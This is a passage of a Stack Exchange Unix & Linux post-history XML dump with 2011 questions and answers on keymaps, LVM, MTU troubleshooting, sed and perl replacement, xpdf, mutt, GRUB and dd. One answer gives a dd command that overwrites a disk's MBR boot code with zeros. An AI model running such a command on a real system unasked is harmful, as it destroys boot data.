active.&#xD;&#xA;&#xD;&#xA;Once a KEYSYM has been generated, this may be interpreted directly, but most often will be converted to text.  Not all KEYSYMs turn into text or may only affect a future KEYSYM.  One example is Shift_L, of course, which has no textual representation, but there are also a number of KEYSYMs that are used to Compose another character.  A list of them on my system is under `/usr/share/X11/locale/en_US.UTF-8/Compose`. One such example is the dead_acute KEYSYM which, when pressed, will attempt to convert the next KEYSYM into an acute accented letter.  There is a [standard mapping][2] for turning KEYSYMs into Unicode.&#xD;&#xA;&#xD;&#xA;Now that all this has been said, note that Xmodmap is obsolete and replaced by XKB which is much more sophisticated.  This affects how KEYCODEs are mapped to KEYSYMs, but not how the kernel generates KEYCODEs nor how KEYSYMs are converted into text or composed which is still the same.  XKB can be disabled restoring Xmodmap behavior.  It also has a compatibility layer to support Xmodmap, but it can have issues as it's not completely compatible.  XKB rules are under `/usr/share/X11/xkb/` and are much more sophisticated.  There is some good documentation elsewhere on how it generates keyboard layouts for mapping KEYCODEs to KEYSYMs.&#xD;&#xA;&#xD;&#xA;As for the Linux console, it has it's own keyboard layouts which are stored in `/usr/share/keymaps` and loaded with the `loadkeys` command.  When in the BIOS and earlier boot loader stages, including GRUB2, the keyboard mapping is whatever the number the BIOS decides to map the key to.&#xD;&#xA;&#xD;&#xA;  [1]: http://tronche.com/gui/x/xlib/input/keyboard-encoding.html&#xD;&#xA;  [2]: http://www.cl.cam.ac.uk/~mgk25/ucs/keysym2ucs.c" />
  <row Id="30707" PostHistoryTypeId="2" PostId="12519" RevisionGUID="11c2f45e-91d0-4b1e-9737-34d08ac5683b" CreationDate="2011-05-03T11:56:11.823" UserId="4200" Text="The commands `pvdisplay`, `vgdisplay` and `lvdisplay` will show you the configured physical volumes, volume groups and logical volumes respectively of the LVM subsystem on a machine. `mdadm` will give you information about the configured raid subsystem." />
  <row Id="30708" PostHistoryTypeId="2" PostId="12520" RevisionGUID="e4e1ffc6-0374-46d2-b966-b4edae5f1dee" CreationDate="2011-05-03T11:56:24.647" UserId="7167" Text="The permission&#xD;&#xA;&#xD;&#xA;    -rwxr--r-- 1 submit_cron_test.sh&#xD;&#xA;&#xD;&#xA;is quite unusual. If the script is group and world readable and executeable for the owner, it does not make much sense to remove the group and world executable bits. Try:&#xD;&#xA;&#xD;&#xA;    chmod go+x submit_cron_test.sh&#xD;&#xA;" />
  <row Id="30709" PostHistoryTypeId="2" PostId="12521" RevisionGUID="6ab57e07-8cdb-4412-ba27-ec4e6753d3ef" CreationDate="2011-05-03T12:06:08.090" UserId="7167" Text="Xnest does not support randr either. But [Xephyr][1] does.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freedesktop.org/wiki/Software/Xephyr" />
  <row Id="30710" PostHistoryTypeId="5" PostId="11107" RevisionGUID="17299c4d-3b89-4edd-9b53-1d127e601d4c" CreationDate="2011-05-03T12:07:21.297" UserId="4518" Comment="added 199 characters in body" Text="Where I'm living now, the internet connection (wired) shows the following weird symptoms. They seem to be independent of whether I use host names or IP addresses.&#xD;&#xA;&#xD;&#xA;* Pinging works&#xD;&#xA;* Skype works&#xD;&#xA;* Wget connects, but never receives a response. (Keeps waiting at &quot;HTTP Request sent, awaiting response&quot; until timeout.)&#xD;&#xA; * Except for a small subset of domains, for which it works. &#xD;&#xA;* ssh commands (`ssh host ls`) works. &#xD;&#xA;* Interactive ssh works for a short while, but hangs quickly, e.g. during the first `ls` -- at the same point every time.&#xD;&#xA;* Under Windows, everything works fine.&#xD;&#xA;&#xD;&#xA;What can I do to diagnose this further? So far, I've just been looking at the application layer. Since there is an apparent internet connection, there must be some way to tunnel Firefox, but I'd like to pin down the problem first.&#xD;&#xA;&#xD;&#xA;It is very likely related to large packets not making their way through. I've found out that there is an MTU, but setting it for eth0 does not solve my problem. I think that I'm behind PPPOE and a router. The external IPs are the same on Windows and Linux.&#xD;&#xA;&#xD;&#xA;Output of some commands:&#xD;&#xA;&#xD;&#xA;`ip link show`&#xD;&#xA;&#xD;&#xA;    1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 16436 qdisc noqueue state UNKNOWN &#xD;&#xA;        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;    2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1024 qdisc mq state UP qlen 1000&#xD;&#xA;        link/ether 00:26:aa:aa:aa:61 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    3: wlan0: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc mq state DOWN qlen 1000&#xD;&#xA;        link/ether c4:17:aa:aa:aa:ff brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    4: virbr0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UNKNOWN &#xD;&#xA;        link/ether 5e:49:aa:aa:aa:27 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;&#xD;&#xA;`ip route show`&#xD;&#xA;&#xD;&#xA;    192.168.1.0/24 dev eth0  proto kernel  scope link  src 192.168.1.4  metric 1 &#xD;&#xA;    192.168.122.0/24 dev virbr0  proto kernel  scope link  src 192.168.122.1 &#xD;&#xA;    169.254.0.0/16 dev eth0  scope link  metric 1000 &#xD;&#xA;    default via 192.168.1.1 dev eth0  proto static &#xD;&#xA;&#xD;&#xA;`ip addr show`&#xD;&#xA;&#xD;&#xA;    1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 16436 qdisc noqueue state UNKNOWN &#xD;&#xA;        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;        inet 127.0.0.1/8 scope host lo&#xD;&#xA;        inet6 ::1/128 scope host &#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;    2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1024 qdisc mq state UP qlen 1000&#xD;&#xA;        link/ether 00:26:2d:78:ac:61 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;        inet 192.168.1.4/24 brd 192.168.1.255 scope global eth0&#xD;&#xA;    3: wlan0: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc mq state DOWN qlen 1000&#xD;&#xA;        link/ether c4:17:fe:3b:56:ff brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    4: virbr0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UNKNOWN &#xD;&#xA;        link/ether 5e:49:01:03:55:27 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;        inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0&#xD;&#xA;        inet6 fe80::5c49:1ff:fe03:5527/64 scope link &#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;&#xD;&#xA;I can send pings up to size 1468.&#xD;&#xA;&#xD;&#xA;    tim@milagros:/$ ping -M do -c 1 -s 1470 stackexchange.com&#xD;&#xA;    PING stackexchange.com (64.34.119.12) 1470(1498) bytes of data.&#xD;&#xA;       --- stackexchange.com ping statistics ---&#xD;&#xA;       1 packets transmitted, 0 received, 100% packet loss, time 0ms&#xD;&#xA;    &#xD;&#xA;    tim@milagros:/$ ping -M do -c 1 -s 1468 stackexchange.com&#xD;&#xA;    PING stackexchange.com (64.34.119.12) 1468(1496) bytes of data.&#xD;&#xA;    1476 bytes from stackoverflow.com (64.34.119.12): icmp_seq=1 ttl=52 time=176 ms&#xD;&#xA;       --- stackexchange.com ping statistics ---&#xD;&#xA;       1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;       rtt min/avg/max/mdev = 176.539/176.539/176.539/0.000 ms&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    tim@milagros:~/projekt/perl$ ifconfig eth0&#xD;&#xA;    eth0      Link encap:Ethernet  HWaddr 00:26:2d:78:ac:61  &#xD;&#xA;              inet addr:192.168.1.4  Bcast:192.168.1.255  Mask:255.255.255.0&#xD;&#xA;              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:161 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:194 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:1000 &#xD;&#xA;              RX bytes:143947 (143.9 KB)  TX bytes:67727 (67.7 KB)&#xD;&#xA;              Interrupt:16 " />
  <row Id="30711" PostHistoryTypeId="25" PostId="12514" RevisionGUID="dbc482bd-6ee5-4213-a869-dd5a0252efd7" CreationDate="2011-05-03T12:11:22.973" Comment="http://twitter.com/#!/StackUnix/status/65387976137506816" />
  <row Id="30712" PostHistoryTypeId="2" PostId="12522" RevisionGUID="1993c4d1-41ee-4d44-8a0e-6ceaaae9183b" CreationDate="2011-05-03T12:16:41.727" UserId="1262" Text="Is it possible to install and use two different glibc versions on the same machine. Where one version is only used to run legacy software, which relies on old glibc binaries?&#xD;&#xA;&#xD;&#xA;Is it possible to do that with the aid of the package manager (something like &quot;install this package into and the dependencies `/opt/old-glibc`), instead of managing it dire" />
  <row Id="30713" PostHistoryTypeId="1" PostId="12522" RevisionGUID="1993c4d1-41ee-4d44-8a0e-6ceaaae9183b" CreationDate="2011-05-03T12:16:41.727" UserId="1262" Text="Installing two glibc alongside in debian/ubuntu" />
  <row Id="30714" PostHistoryTypeId="3" PostId="12522" RevisionGUID="1993c4d1-41ee-4d44-8a0e-6ceaaae9183b" CreationDate="2011-05-03T12:16:41.727" UserId="1262" Text="éubuntuàédebianàédynamicölinkingàéglibcà" />
  <row Id="30715" PostHistoryTypeId="2" PostId="12523" RevisionGUID="5817761f-4780-4c81-991a-6fdf1bf0dfe0" CreationDate="2011-05-03T12:49:21.873" UserId="2832" Text="I want to search and replace some text in a large set of files excluding some instances. I want a command line alert asking me if i need to replace that line or not.&#xD;&#xA;Something similar to vim's :%s/from/to/g**c** But across a set of folders.&#xD;&#xA;Is there some good command line tool or script that can be used?&#xD;&#xA;" />
  <row Id="30716" PostHistoryTypeId="1" PostId="12523" RevisionGUID="5817761f-4780-4c81-991a-6fdf1bf0dfe0" CreationDate="2011-05-03T12:49:21.873" UserId="2832" Text="How to do a s/fromStr/toStr in a big folder hierarchy?" />
  <row Id="30717" PostHistoryTypeId="3" PostId="12523" RevisionGUID="5817761f-4780-4c81-991a-6fdf1bf0dfe0" CreationDate="2011-05-03T12:49:21.873" UserId="2832" Text="éscriptingà" />
  <row Id="30718" PostHistoryTypeId="6" PostId="9194" RevisionGUID="d83fe42a-d6b9-48a5-935c-3ba57474e681" CreationDate="2011-05-03T12:58:41.083" UserId="73" Comment="edited tags" Text="ébootàéarchölinuxàégrubà" />
  <row Id="30719" PostHistoryTypeId="5" PostId="12522" RevisionGUID="e388645c-3478-4f44-bfab-c10861389938" CreationDate="2011-05-03T13:02:44.397" UserId="1262" Comment="fix bad phrasing" Text="Is it possible to install and use two different glibc versions on the same machine. Where one version is only used to run legacy software, which relies on old glibc binaries?&#xD;&#xA;&#xD;&#xA;Is it possible to do that with the aid of the package manager (something like &quot;install this package, and its dependencies, to `/opt/old-glibc`), instead of managing it dire" />
  <row Id="30720" PostHistoryTypeId="2" PostId="12524" RevisionGUID="c22360be-6322-4d69-ad53-486b72748b49" CreationDate="2011-05-03T13:06:08.220" UserId="6215" Text="When I call the command&lt;br&gt;&#xD;&#xA;&#xD;&#xA;    $ xpdf file.pdf -z width -fullscreen&#xD;&#xA;&#xD;&#xA;it has not the desired effect&#xD;&#xA;&#xD;&#xA;commands&#xD;&#xA;&#xD;&#xA;    $ xpdf file.pdf -z width&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    $ xpdf file.pdf -fullscreen&#xD;&#xA;&#xD;&#xA;work as expected.&#xD;&#xA;&#xD;&#xA;Is it possible to achieve the desired effect in xpdf?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="30721" PostHistoryTypeId="1" PostId="12524" RevisionGUID="c22360be-6322-4d69-ad53-486b72748b49" CreationDate="2011-05-03T13:06:08.220" UserId="6215" Text="Xpdf fit to page width in fullscreen mode" />
  <row Id="30722" PostHistoryTypeId="3" PostId="12524" RevisionGUID="c22360be-6322-4d69-ad53-486b72748b49" CreationDate="2011-05-03T13:06:08.220" UserId="6215" Text="épdfàéxpdfà" />
  <row Id="30723" PostHistoryTypeId="5" PostId="12524" RevisionGUID="4fd5d8ac-36f6-4aed-9f92-2f2f7691d871" CreationDate="2011-05-03T13:08:44.443" UserId="1925" Comment="added 16 characters in body" Text="When I call the command:&#xD;&#xA;&#xD;&#xA;    $ xpdf file.pdf -z width -fullscreen&#xD;&#xA;&#xD;&#xA;...it does not have the desired effect.&#xD;&#xA;&#xD;&#xA;The individual options:&#xD;&#xA;&#xD;&#xA;    $ xpdf file.pdf -z width&#xD;&#xA;&#xD;&#xA;...and:&#xD;&#xA;&#xD;&#xA;    $ xpdf file.pdf -fullscreen&#xD;&#xA;&#xD;&#xA;...work as expected.&#xD;&#xA;&#xD;&#xA;Is it possible to achieve the desired effect in xpdf?" />
  <row Id="30724" PostHistoryTypeId="2" PostId="12525" RevisionGUID="33540262-5b8b-4a99-b1ea-ac6c83a99ed9" CreationDate="2011-05-03T13:10:27.143" UserId="1925" Text="Sure enough. This appears to be a bug in `xpdf`.&#xD;&#xA;&#xD;&#xA;You can switch to &quot;width&quot; view easily by tapping &lt;kbd&gt;w&lt;/kbd&gt; as soon as xpdf opens, but there does not seem to be a way to make it behave from the command line. The only thing I could think of would be to hack it using expect or some sort of keyboard event routing to the X window to send it that keystroke when it starts up." />
  <row Id="30725" PostHistoryTypeId="2" PostId="12526" RevisionGUID="f4d5e85d-fa73-4f9a-9d54-9e4424606dea" CreationDate="2011-05-03T13:31:16.947" UserId="1835" Text="Short answer:&#xD;&#xA;&#xD;&#xA;it's entirely possible that the cache will not be comprehensive.  If you delete mail and hcache later recomputes the header cache for that mailbox, your stats will not include mail from before the deletion.&#xD;&#xA;&#xD;&#xA;If you don't have access to the mail logs for your server, do you have access to a filter mechanism, e.g. procmail? You could use that to generate an alternative log for analysis.&#xD;&#xA;&#xD;&#xA;Otherwise, can you poll your mailbox with a program that can generate a log of mail received?  Something like an offlineimap filter, or fetchmail/retchmail combined with some hashing and caching.&#xD;&#xA;&#xD;&#xA;Longer answer:&#xD;&#xA;&#xD;&#xA;The cache file is a DBM-style database.  Depending on the exact build options for your mutt, it could be one of [QDBM](http://fallabs.com/qdbm/), [tokyo cabinet](http://fallabs.com/tokyocabinet/), [gdbm](http://www.vivtek.com/gdbm/) or [Berkeley DB](http://en.wikipedia.org/wiki/Berkeley_DB) (BDB); which all implement a variation of BDB's API.&#xD;&#xA;&#xD;&#xA;I believe that it is unlikely you can reliably read the DB unless you use the right library implementation. `ldd` tells me my local mutt uses the tokyo cabinet implementation:&#xD;&#xA;&#xD;&#xA;    $ ldd /usr/bin/mutt&#xD;&#xA;    …&#xD;&#xA;	libtokyocabinet.so.8 =&gt; /usr/lib/libtokyocabinet.so.8 (0xb74f2000)&#xD;&#xA;    …&#xD;&#xA;&#xD;&#xA;You would then need to write a program, using that library, to query the BDB stored within the cache file. There are bindings for Perl, Ruby, Lua, Java, and of course C.&#xD;&#xA;&#xD;&#xA;It would appear that headers are stored as values in the DB, indexed by a CRC.  From what I can tell, the CRC is derived from the path to a mailbox, which implies that the stored headers are *the headers for all mail in that mailbox*.  So your program is essentially going to end up with a buffer containing all headers for all mail in a given mailbox.  I don't think it will be much more useful than pulling the headers from all mail currently in your mailbox (and given the &quot;short answer&quot; above, not guaranteed to be more reliable)." />
  <row Id="30726" PostHistoryTypeId="2" PostId="12527" RevisionGUID="8bfb4bb3-73ce-482f-b075-2d8df83b4be8" CreationDate="2011-05-03T13:41:09.410" UserId="252" Text="Why not use vim?&#xD;&#xA;&#xD;&#xA;Open all files in vim&#xD;&#xA;&#xD;&#xA;    vim $(find .)&#xD;&#xA;&#xD;&#xA;And do then run the replace in all buffers&#xD;&#xA;&#xD;&#xA;    :bufdo %s/from/to/g*c* | update&#xD;&#xA;&#xD;&#xA;You can also do it with `sed`, but my sed knowledge is limited." />
  <row Id="30727" PostHistoryTypeId="2" PostId="12528" RevisionGUID="d3eee294-d1a6-4e8b-9558-7c146e5885ba" CreationDate="2011-05-03T13:52:40.063" UserId="885" Text="If there aren't too many files involved and you're running zsh on Linux or Cygwin (specifically, you need GNU sed):&#xD;&#xA;&#xD;&#xA;    sed -i -e 's/from/to/g' **/*(.)&#xD;&#xA;&#xD;&#xA;The `-i` option to sed tells it to perform replacements in place in each file. The glob `**/*` means all regular files in the current directory and its subdirectories.&#xD;&#xA;&#xD;&#xA;If your shell is bash ≥4, you can run `sed -i -e … **/*`, but that will produce spurious error messages because sed will try (and fail) to run on directories. If you only want to perform the replacement in a set of files such as C files, you can restrict the matches (that works in either bash ≥4 or zsh):&#xD;&#xA;&#xD;&#xA;    sed -i -e 's/from/to/g' **/*.[hc]&#xD;&#xA;&#xD;&#xA;You can use Perl instead of sed; this has the advantage that you can use Perl regexp features, you can use other commands than `s` if you like, and you don't depend on GNU sed. You can vary the globs as before.&#xD;&#xA;&#xD;&#xA;    perl -i -pe 's/from/to/g' **/*(.)&#xD;&#xA;&#xD;&#xA;If you need finer control over which files you're replacing, or your shell doesn't have the recursive directory matching construct `**`, or if you have too many files and get a “command line too long” error, use `find`. For example, to perform a replacement in all files named `*.h` or `*.c` in the current directory and its subdirectories:&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.[hc]' -exec perl -i -pe 's/from/to/' {} +&#xD;&#xA;&#xD;&#xA;Of course, you can substitute sed for perl, remove the name matching part and other variations. On older systems, you may need to use `\;` instead of `+` at the end of the line (the `+` form is faster but not available everywhere).&#xD;&#xA;" />
  <row Id="30728" PostHistoryTypeId="2" PostId="12529" RevisionGUID="368fb419-fd41-4185-998d-7f279996b495" CreationDate="2011-05-03T14:06:21.330" UserId="2333" Text="Me again.&#xD;&#xA;&#xD;&#xA;I tried editing the `menu.lst` file in order to dual-boot with Windows 7. I simply uncommented the Windows entry and added&#xD;&#xA;&#xD;&#xA;    map (hd0) (hd1)&#xD;&#xA;    man (hd1) (hd0)&#xD;&#xA;&#xD;&#xA;according to the Arch Linux wiki. I rebooted and had a Grub menu with 3 options: Arch Linux, Arch Linux Recovery, Windows 7. Exactly as it should be. I selected Windows 7 and nothing happened. I hit Ctrl-Alt-Del and rebooted. Instead of grub, I got &quot;Missing Operating System&quot;.&#xD;&#xA;&#xD;&#xA;Using the Arch Live USB flash drive, I mounted the `/boot/` partition (`/dev/sda1`) and discovered that I couldn't even get into the `grub` directory to look at or fix things. The output of `cd /mnt/boot` and `ls -l` is:&#xD;&#xA;&#xD;&#xA;    EXT2-fs (sda1): error: ext2_get_inode: unable to read inode block - inode=10041, block=41221&#xD;&#xA;    ls: cannot access grub: Input/output error&#xD;&#xA;    total 13667&#xD;&#xA;    d????????? ? ?    ?          ?            ? grub&#xD;&#xA;    -rw-r--r-- 1 root root 8411722 May  2 19:37 kernel26-fallback.img&#xD;&#xA;    -rw-r--r-- 1 root root 1764873 May  2 19:37 kernel26.img&#xD;&#xA;    drwx------ 2 root root   12288 May  2 19:12 lost+found&#xD;&#xA;    -rw-r--r-- 1 root root 1545080 Apr 22 18:32 System.map26&#xD;&#xA;    -rw-r--r-- 1 root root 2198640 Apr 22 18:32 vmlinuz26&#xD;&#xA;&#xD;&#xA;So something about trying to boot to Windows seems to have destroyed grub, after things were going so well. (NB: With the 2nd (Windows) drive attached but not represented in `menu.lst`, Arch worked fine, booted properly, could mount and read partitions on the other drive.)&#xD;&#xA;&#xD;&#xA;I can't show you the `menu.lst` file because I can't see it. It had not been changed from the default except to uncomment the Windows entry and add the two lines given above.&#xD;&#xA;&#xD;&#xA;Out put of `fdisk -l`:&#xD;&#xA;&#xD;&#xA;    Disk /dev/sdb: 1000.2 GB...&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;           Device Boot     Start       End     Blocks  Id  System&#xD;&#xA;    /dev/sdb1              1         5      40131  de  Dell Utility&#xD;&#xA;    /dev/sdb2              6      1327   10614784   7  HPFS/NTFS&#xD;&#xA;    /dev/sdb3   *       1327     63517  499537920   7  HPFS/NTFS&#xD;&#xA;    /dev/sdb4          63517    121602  466567168   f  W95 Ext'd (LBA)&#xD;&#xA;    /dev/sdb5          63517    121602  466566144   7  HPFS/NTFS&#xD;&#xA;    Warning: invalid flag 0x0000 of partition table 5 will be corrected by w(rite)&#xD;&#xA;&#xD;&#xA;    Disk /dev/sda: 1000.2 GB...&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;       Device Boot     Start       End     Blocks  Id  System&#xD;&#xA;    /dev/sda1              1         5      40131   6  FAT16&#xD;&#xA;    /dev/sda2              6      1327   10614784   7  HPFS/NTFS&#xD;&#xA;    /dev/sdb3   *       1327     63517  499537920   7  HPFS/NTFS&#xD;&#xA;    /dev/sdb4          63517    121602  466567168   f  W95 Ext'd (LBA)&#xD;&#xA;&#xD;&#xA;I notice that the partition information for sda1-4 are exactly the same as sdb1-4, which they should not be.&#xD;&#xA;&#xD;&#xA;Also, I can't seem to mount anything from `sda` except `/dev/sda1/`, which contains the boot files and the unresponsive `grub` directory. If I do, I'm told `mount: you must specify the filesystem type`. If I specify `-t ntfs`, it fails and says it `doesn't have a valid NTFS`. If I specify `-t ext4` (which is what it should be), it says it's the wrong fs type.&#xD;&#xA;&#xD;&#xA;I can't think of any other details to include." />
  <row Id="30729" PostHistoryTypeId="1" PostId="12529" RevisionGUID="368fb419-fd41-4185-998d-7f279996b495" CreationDate="2011-05-03T14:06:21.330" UserId="2333" Text="grub: &quot;Missing Operating System&quot;" />
  <row Id="30730" PostHistoryTypeId="3" PostId="12529" RevisionGUID="368fb419-fd41-4185-998d-7f279996b495" CreationDate="2011-05-03T14:06:21.330" UserId="2333" Text="égrubàédualöbootà" />
  <row Id="30731" PostHistoryTypeId="5" PostId="12529" RevisionGUID="459f02ad-49e6-4750-9541-e27ee7bc243d" CreationDate="2011-05-03T14:08:18.863" UserId="1925" Comment="deleted 13 characters in body" Text="I tried editing the `menu.lst` file in order to dual-boot with Windows 7. I simply uncommented the Windows entry and added&#xD;&#xA;&#xD;&#xA;    map (hd0) (hd1)&#xD;&#xA;    man (hd1) (hd0)&#xD;&#xA;&#xD;&#xA;according to the Arch Linux wiki. I rebooted and had a Grub menu with 3 options: Arch Linux, Arch Linux Recovery, Windows 7. Exactly as it should be. I selected Windows 7 and nothing happened. I hit Ctrl-Alt-Del and rebooted. Instead of grub, I got &quot;Missing Operating System&quot;.&#xD;&#xA;&#xD;&#xA;Using the Arch Live USB flash drive, I mounted the `/boot/` partition (`/dev/sda1`) and discovered that I couldn't even get into the `grub` directory to look at or fix things. The output of `cd /mnt/boot` and `ls -l` is:&#xD;&#xA;&#xD;&#xA;    EXT2-fs (sda1): error: ext2_get_inode: unable to read inode block - inode=10041, block=41221&#xD;&#xA;    ls: cannot access grub: Input/output error&#xD;&#xA;    total 13667&#xD;&#xA;    d????????? ? ?    ?          ?            ? grub&#xD;&#xA;    -rw-r--r-- 1 root root 8411722 May  2 19:37 kernel26-fallback.img&#xD;&#xA;    -rw-r--r-- 1 root root 1764873 May  2 19:37 kernel26.img&#xD;&#xA;    drwx------ 2 root root   12288 May  2 19:12 lost+found&#xD;&#xA;    -rw-r--r-- 1 root root 1545080 Apr 22 18:32 System.map26&#xD;&#xA;    -rw-r--r-- 1 root root 2198640 Apr 22 18:32 vmlinuz26&#xD;&#xA;&#xD;&#xA;So something about trying to boot to Windows seems to have destroyed grub, after things were going so well. (NB: With the 2nd (Windows) drive attached but not represented in `menu.lst`, Arch worked fine, booted properly, could mount and read partitions on the other drive.)&#xD;&#xA;&#xD;&#xA;I can't show you the `menu.lst` file because I can't see it. It had not been changed from the default except to uncomment the Windows entry and add the two lines given above.&#xD;&#xA;&#xD;&#xA;Out put of `fdisk -l`:&#xD;&#xA;&#xD;&#xA;    Disk /dev/sdb: 1000.2 GB...&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;           Device Boot     Start       End     Blocks  Id  System&#xD;&#xA;    /dev/sdb1              1         5      40131  de  Dell Utility&#xD;&#xA;    /dev/sdb2              6      1327   10614784   7  HPFS/NTFS&#xD;&#xA;    /dev/sdb3   *       1327     63517  499537920   7  HPFS/NTFS&#xD;&#xA;    /dev/sdb4          63517    121602  466567168   f  W95 Ext'd (LBA)&#xD;&#xA;    /dev/sdb5          63517    121602  466566144   7  HPFS/NTFS&#xD;&#xA;    Warning: invalid flag 0x0000 of partition table 5 will be corrected by w(rite)&#xD;&#xA;&#xD;&#xA;    Disk /dev/sda: 1000.2 GB...&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;       Device Boot     Start       End     Blocks  Id  System&#xD;&#xA;    /dev/sda1              1         5      40131   6  FAT16&#xD;&#xA;    /dev/sda2              6      1327   10614784   7  HPFS/NTFS&#xD;&#xA;    /dev/sdb3   *       1327     63517  499537920   7  HPFS/NTFS&#xD;&#xA;    /dev/sdb4          63517    121602  466567168   f  W95 Ext'd (LBA)&#xD;&#xA;&#xD;&#xA;I notice that the partition information for sda1-4 are exactly the same as sdb1-4, which they should not be.&#xD;&#xA;&#xD;&#xA;Also, I can't seem to mount anything from `sda` except `/dev/sda1/`, which contains the boot files and the unresponsive `grub` directory. If I do, I'm told `mount: you must specify the filesystem type`. If I specify `-t ntfs`, it fails and says it `doesn't have a valid NTFS`. If I specify `-t ext4` (which is what it should be), it says it's the wrong fs type.&#xD;&#xA;&#xD;&#xA;I can't think of any other details to include." />
  <row Id="30735" PostHistoryTypeId="2" PostId="12531" RevisionGUID="7892337f-5552-46e8-add4-a45196a4e07f" CreationDate="2011-05-03T14:16:20.630" UserId="7170" Text="latex with the pdfpages packages can do most of these things.&#xD;&#xA;&#xD;&#xA;Specifically on how to add bookmarks, see http://michaelgoerz.net/blog/2011/04/pdf-bookmarks-with-latex/" />
  <row Id="30736" PostHistoryTypeId="2" PostId="12532" RevisionGUID="064cdd3e-218a-4038-bb45-48f67f78a5c1" CreationDate="2011-05-03T14:18:07.860" UserId="2130" Text="I recently realized we can use `cat` as much as `dd`, and it's [actually faster than `dd`](http://unix.stackexchange.com/questions/9432/is-there-a-way-to-determine-the-optimal-value-for-the-bs-parameter-to-dd/9492#9492)&#xD;&#xA;&#xD;&#xA;I know that `dd` was useful in dealing with tapes where block size actually mattered in correctness, not just performance. In these days, though, are there situations where `dd` can do something `cat` can't? (Here I would regard a less than 20% performance difference irrelevant.)&#xD;&#xA;&#xD;&#xA;Concrete examples would be nice!&#xD;&#xA;" />
  <row Id="30737" PostHistoryTypeId="1" PostId="12532" RevisionGUID="064cdd3e-218a-4038-bb45-48f67f78a5c1" CreationDate="2011-05-03T14:18:07.860" UserId="2130" Text="dd vs cat -- is dd still relevant these days?" />
  <row Id="30738" PostHistoryTypeId="3" PostId="12532" RevisionGUID="064cdd3e-218a-4038-bb45-48f67f78a5c1" CreationDate="2011-05-03T14:18:07.860" UserId="2130" Text="éddàécloningà" />
  <row Id="30739" PostHistoryTypeId="2" PostId="12533" RevisionGUID="4c5ceadb-a2a8-4416-8a91-e27b166726c2" CreationDate="2011-05-03T14:25:19.870" UserId="6151" Text="Override specific segments of a hard-drive with something is a common example. For example you might want to delete your MBR using this command:&#xD;&#xA;&#xD;&#xA;dd if=/dev/zero of=/dev/sda bs=446 count=1&#xD;&#xA;&#xD;&#xA;Also you can create empty files with it (say for loop disk images):&#xD;&#xA;&#xD;&#xA;dd if=/dev/zero of=10mb.file bs=1024k count=10" />
  <row Id="30740" PostHistoryTypeId="5" PostId="12528" RevisionGUID="dc023bdd-c4ac-44bd-a523-d591e47d2c80" CreationDate="2011-05-03T14:31:11.637" UserId="885" Comment="I'd misunderstood the question; added 84 characters in body" Text="You can do something crude with a small Perl script which is instructed to perform replacements line by line (`-l -pe`) in place on the files passed as arguments (`-i`):&#xD;&#xA;&#xD;&#xA;    perl -i -l -pe '&#xD;&#xA;        if (/from/) {                            # is the source text present on this line?&#xD;&#xA;            printf STDERR (&quot;%s: %s [y/N]? &quot;, $ARGV, $_);  # display a prompt&#xD;&#xA;            $r=&lt;STDIN&gt;;                                   # read user response&#xD;&#xA;            if ($r =~ /^[Yy]/) {                          # if user entered Y:&#xD;&#xA;                s/from/to/g;                              # replace all occurences on this line&#xD;&#xA;        }' /path/to/files&#xD;&#xA;&#xD;&#xA;Possible improvements would be to color parts of the prompt and support things like “replace all occurences in the current file”. Separately prompting for each occurrence on a line would be harder.&#xD;&#xA;&#xD;&#xA;Second part, matching the files. if there aren't too many files involved and you're running zsh, you can match all the files in the current directory and its subdirectories recursively:&#xD;&#xA;&#xD;&#xA;    perl -i -l -pe '…' **/*(.)&#xD;&#xA;&#xD;&#xA;If your shell is bash ≥4, you can run `perl … **/*`, but that will produce spurious error messages because sed will try (and fail) to run on directories. If you only want to perform the replacement in a set of files such as C files, you can restrict the matches (that works in either bash ≥4 or zsh):&#xD;&#xA;&#xD;&#xA;    perl -i -l -pe '…' **/*.[hc]&#xD;&#xA;&#xD;&#xA;If you need finer control over which files you're replacing, or your shell doesn't have the recursive directory matching construct `**`, or if you have too many files and get a “command line too long” error, use `find`. For example, to perform a replacement in all files named `*.h` or `*.c` in the current directory and its subdirectories (on older systems, you may need to use `\;` instead of `+` at the end of the line (the `+` form is faster but not available everywhere).&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.[hc]' -exec perl -i -l -pe '…' {} +&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;That being said, I'd stick to an interactive editor if you need interaction. 